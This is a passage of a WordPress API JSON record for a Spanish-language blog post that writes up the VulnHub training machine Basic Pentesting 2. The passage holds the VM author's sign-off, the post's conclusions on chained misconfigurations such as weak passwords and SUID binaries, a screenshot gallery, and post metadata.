might&#8217;ve been overlooked by administrators.<\/p>\n\n\n\n<p>Thanks for taking the time to solve this VM. If you choose to create a writeup, I hope you&#8217;ll send me a link! I can be reached at josiah@vt.edu. If you&#8217;ve got questions or feedback, please reach out to me. <\/p>\n\n\n\n<p>Happy hacking!<\/p>\n<\/blockquote>\n\n\n\n<h2 class=\"wp-block-heading\">Conclusiones del pentesting<\/h2>\n\n\n\n<p>Basic Pentesting 2 es una m\u00e1quina sencilla en apariencia, pero muy efectiva desde el punto de vista formativo. A trav\u00e9s de una cadena de fallos relativamente comunes, (contrase\u00f1as d\u00e9biles, exposici\u00f3n de servicios innecesarios, permisos incorrectos y binarios SUID mal configurados), es posible comprometer por completo el sistema.<\/p>\n\n\n\n<p>M\u00e1s all\u00e1 de la obtenci\u00f3n de acceso root, esta m\u00e1quina permite profundizar en conceptos de pentesting que suelen pasarse por alto en an\u00e1lisis m\u00e1s superficiales. El uso de t\u00e9cnicas como el crackeo de claves privadas SSH, frente a la simple lectura de contrase\u00f1as en texto claro, refuerza la diferencia entre un acceso puntual y un acceso persistente, y ayuda a asentar criterios m\u00e1s s\u00f3lidos a la hora de evaluar el impacto real de una vulnerabilidad.<\/p>\n\n\n\n<p>En \u00faltima instancia, el ejercicio subraya una idea fundamental: la seguridad rara vez falla por un \u00fanico error cr\u00edtico, sino por la acumulaci\u00f3n de peque\u00f1os descuidos que, cuando se encadenan, permiten ir mucho m\u00e1s all\u00e1 de lo inicialmente previsto.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Galer\u00eda<\/h2>\n\n\n\n\n\t\t<style type=\"text\/css\">\n\t\t\t#gallery-1 {\n\t\t\t\tmargin: auto;\n\t\t\t}\n\t\t\t#gallery-1 .gallery-item {\n\t\t\t\tfloat: left;\n\t\t\t\tmargin-top: 10px;\n\t\t\t\ttext-align: center;\n\t\t\t\twidth: 16%;\n\t\t\t}\n\t\t\t#gallery-1 img {\n\t\t\t\tborder: 2px solid #cfcfcf;\n\t\t\t}\n\t\t\t#gallery-1 .gallery-caption {\n\t\t\t\tmargin-left: 0;\n\t\t\t}\n\t\t\t\/* see gallery_shortcode() in wp-includes\/media.php *\/\n\t\t<\/style>\n\t\t<div id='gallery-1' class='gallery galleryid-771 gallery-columns-6 gallery-size-thumbnail'><dl class='gallery-item'>\n\t\t\t<dt class='gallery-icon landscape'>\n\t\t\t\t<a href='https:\/\/jagumiel.xyz\/blog\/0-nmap-2\/'><img loading=\"lazy\" decoding=\"async\" width=\"150\" height=\"150\" src=\"https:\/\/jagumiel.xyz\/blog\/wp-content\/uploads\/2026\/01\/0-nmap-150x150.png\" class=\"attachment-thumbnail size-thumbnail\" alt=\"Resultado de un escaneo Nmap realizado con Zenmap que muestra puertos abiertos y servicios activos en un host Linux durante un pentest b\u00e1sico.\" aria-describedby=\"gallery-1-775\" \/><\/a>\n\t\t\t<\/dt>\n\t\t\t\t<dd class='wp-caption-text gallery-caption' id='gallery-1-775'>\n\t\t\t\tSalida de Zenmap tras ejecutar un escaneo Nmap, identificando servicios como SSH, HTTP, Samba y Tomcat en el sistema objetivo.\n\t\t\t\t<\/dd><\/dl><dl class='gallery-item'>\n\t\t\t<dt class='gallery-icon landscape'>\n\t\t\t\t<a href='https:\/\/jagumiel.xyz\/blog\/1-index-development\/'><img loading=\"lazy\" decoding=\"async\" width=\"150\" height=\"150\" src=\"https:\/\/jagumiel.xyz\/blog\/wp-content\/uploads\/2026\/01\/1-Index-development-150x150.png\" class=\"attachment-thumbnail size-thumbnail\" alt=\"Listado de directorios expuesto en un servidor Apache que muestra archivos accesibles p\u00fablicamente durante una fase de enumeraci\u00f3n web\" aria-describedby=\"gallery-1-776\" \/><\/a>\n\t\t\t<\/dt>\n\t\t\t\t<dd class='wp-caption-text gallery-caption' id='gallery-1-776'>\n\t\t\t\tAcceso a un directorio expuesto en un servidor web Apache que revela archivos durante la fase de enumeraci\u00f3n.\n\t\t\t\t<\/dd><\/dl>\n\t\t\t<br style='clear: both' \/>\n\t\t<\/div>\n\n","protected":false},"excerpt":{"rendered":"<p>Write-up completo de Basic Pentesting 2 (VulnHub), donde se analiza paso a paso un flujo cl\u00e1sico de ataque sobre sistemas Linux.<\/p>\n<p>Desde la fase de enumeraci\u00f3n inicial de servicios y superficies de ataque, pasando por la identificaci\u00f3n de errores de configuraci\u00f3n y la obtenci\u00f3n de credenciales, hasta la escalada de privilegios y la implantaci\u00f3n de mecanismos de persistencia reales.<\/p>\n<p>El objetivo no es \u00fanicamente \u201ccomprometer la m\u00e1quina\u201d, sino comprender c\u00f3mo peque\u00f1as decisiones t\u00e9cnicas incorrectas pueden encadenarse y derivar en el control total de un sistema.<\/p>\n<p class=\"continue-reading-button\"> <a class=\"continue-reading-link\" href=\"https:\/\/jagumiel.xyz\/blog\/2026\/01\/06\/ciberseguridad-atacando-la-maquina-basic-pentesting-2\/\">Continue reading<i class=\"crycon-right-dir\"><\/i><\/a><\/p>\n","protected":false},"author":1,"featured_media":801,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[93,37],"tags":[94,98,96,100,101,95,99,97],"class_list":["post-771","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ciberseguridad","category-linux","tag-cybersecurity","tag-ethical-hacking","tag-hacking-etico","tag-kali","tag-linux","tag-pentesting","tag-vulnhub","tag-white-hat"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/jagumiel.xyz\/blog\/wp-json\/wp\/v2\/posts\/771","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/jagumiel.xyz\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/jagumiel.xyz\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/jagumiel.xyz\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/jagumiel.xyz\/blog\/wp-json\/wp\/v2\/comments?post=771"}],"version-history":[{"count":31,"href":"https:\/\/jagumiel.xyz\/blog\/wp-json\/wp\/v2\/posts\/771\/revisions"}],"predecessor-version":[{"id":806,"href":"https:\/\/jagumiel.xyz\/blog\/wp-json\/wp\/v2\/posts\/771\/revisions\/806"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/jagumiel.xyz\/blog\/wp-json\/wp\/v2\/media\/801"}],"wp:attachment":[{"href":"https:\/\/jagumiel.xyz\/blog\/wp-json\/wp\/v2\/media?parent=771"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/jagumiel.xyz\/blog\/wp-json\/wp\/v2\/categories?post=771"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/jagumiel.xyz\/blog\/wp-json\/wp\/v2\/tags?post=771"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}